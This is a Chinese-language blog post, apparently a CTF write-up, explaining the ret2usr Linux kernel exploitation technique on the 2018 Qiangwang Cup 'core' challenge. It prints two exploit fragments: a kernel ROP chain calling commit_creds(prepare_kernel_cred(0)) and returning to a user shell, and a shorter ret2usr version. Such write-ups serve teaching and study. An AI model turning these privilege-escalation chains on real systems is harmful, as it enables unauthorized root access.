编辑
2023-03-08
Kernel Pwn
00
请注意,本文编写于 624 天前,最后修改于 624 天前,其中某些信息可能已经过时。

目录

手法
2018 强网杯 - core

仿生Kernel会梦到电子Pwn手么

手法

因为我们的内核模块是在Ring 0 状态运行 根据我们之前的基础知识 内层Ring是可以随意访问外部Ring的资源的 所以我们如果可以在内核构造ROP链的时候 就可以直接传入一个用户空间的函数指针 让内核直接跳转到用户空间执行函数 以简便ROP流程

2018 强网杯 - core

还是用我们之前Kernel ROP 的题目来做对比 具体分析这里不重复 先贴出之前的exp

c
for(i=0;i<10;i++) { rop[i]=canary; } rop[i++]=pop_rdi+gadget_base; rop[i++]=0; rop[i++]=prepare_kernel_cred; rop[i++]=mov_rdi_rax_pop_rbp_pop_r12_ret+gadget_base; rop[i++]=0; rop[i++]=0; rop[i++]=commit_creds; rop[i++]=swapgs_popfq_ret+gadget_base; rop[i++]=0; rop[i++]=iretq_ret+gadget_base; rop[i++]=(size_t)spawn_shell; rop[i++]=user_cs; rop[i++]=user_rflags; rop[i++]=user_sp; rop[i++]=user_ss; write(fd,rop,0x800); core_copy_func(fd,0xffffffffffff0000 | (0x100));

可以看出来我们之前是费尽心思在内核态构建ROP链 以执行commit_creds(prepare_kernel_cred(0)) 其中寻找gadget属实是废了一大波劲

但是如果使用ret2usr手法的话 我们的exp可以优化成这样

c
void get_root() { char* (*pkc)(int)=prepare_kernel_cred; char* (*cc)(char *)=commit_creds; (*cc)((*pkc)(0)); } for(i=0;i<10;i++) { rop[i]=canary; } rop[i++]=(size_t)get_root; rop[i++]=swapgs_popfq_ret+gadget_base; rop[i++]=0; rop[i++]=iretq_ret+gadget_base; rop[i++]=(size_t)spawn_shell; rop[i++]=user_cs; rop[i++]=user_rflags; rop[i++]=user_sp; rop[i++]=user_ss; write(fd,rop,0x800); core_copy_func(fd,0xffffffffffff0000 | (0x100));

可以看到 我们直接在ROP链内传入了一个用户空间的函数指针 这样做可以降低构建Kernel ROP链的难度

本文作者:Du4t

本文链接:

版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!